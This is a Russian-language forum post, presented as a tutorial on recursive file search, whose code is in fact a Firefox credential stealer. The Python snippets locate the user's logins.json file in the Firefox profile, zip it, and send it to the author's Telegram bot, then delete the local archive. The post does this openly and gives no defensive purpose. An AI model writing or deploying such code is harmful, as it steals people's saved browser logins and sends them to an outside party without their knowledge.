Введение
Добрый вечер, дорогие форумчане. Давно не писал сюда контента, но вот пришел момент поделиться интересным материалам. Совсем недавно задумался над тем, как найти нужный файл в системе используя лишь среду разработки и прямые руки. Допустим вы хотите взять интересный файл и отправить его себе в любое место. Знаете примерное расположения но проблема заключается в том, что путь известен частично. И в данной статье мы постараемся решить проблему с поиском файлов используя рекурсивный подход к решению задачи.Основная часть
Для примера я постараюсь найти и отправить себе файл логинов (logins.json) из браузера Firefox. Расположение по которому находиться данный файл выглядит примерно так:C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default-release
На каждом устройстве папка имеет разное название, это и затрудняет доступ к файлу. По мимо этого мы должны знать имя пользователя, что зарегистрирован в системе. Для этого будем использовать небольшое количество библиотек и 32 строчки кода. Ну а отправку данных осуществим в мой любимый Telegram при помощи обычного бота. Как его создать вы можете прочесть в сети, поэтому заострять внимания не стану. Чтобы не превышать лимит отправки сообщения добавим в архив данные. Чтобы было меньше слов приступим к делу. Сначала импортируем библиотеки:
Python:
import getpass
import telebot
import glob
import zipfile
import os
Python:
bot = telebot.TeleBot("token")
['C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default-release']
Многим данный вид списка может быть неизвестный, носит названия он кортеж (последовательность неизменяемых объектов). Теперь переходим к созданию такого формата пути вместе с нашим файлом:
Python:
name = getpass.getuser() # Узнаем имя пользователя
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\logins.json", recursive=True)
Python:
cookies = ''.join(save)
Python:
archive = zipfile.ZipFile(r'C:\Temp\backup.zip', 'w') # Можно указать свой путь
archive.write(cookies)
archive.close()
Python:
@bot.message_handler(commands=['start'])
def start_message(message):
upfile = open("C:\\Temp\\backup.zip", "rb")
bot.send_document(message.chat.id, upfile)
upfile.close()
os.remove("C:\\Temp\\backup.zip")
bot.stop_polling()
bot.polling()
Python:
import getpass
import glob
name = getpass.getuser()
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\**.json", recursive=True)
print(save)
Ссылка скрыта от гостей
. Но важно помнить, что программа копирует весь каталог включая папки. Проще говоря вы получите полный путь к данным. Будьте осторожны и рассчитывайте данные перед отправкой, чтобы избежать ошибок.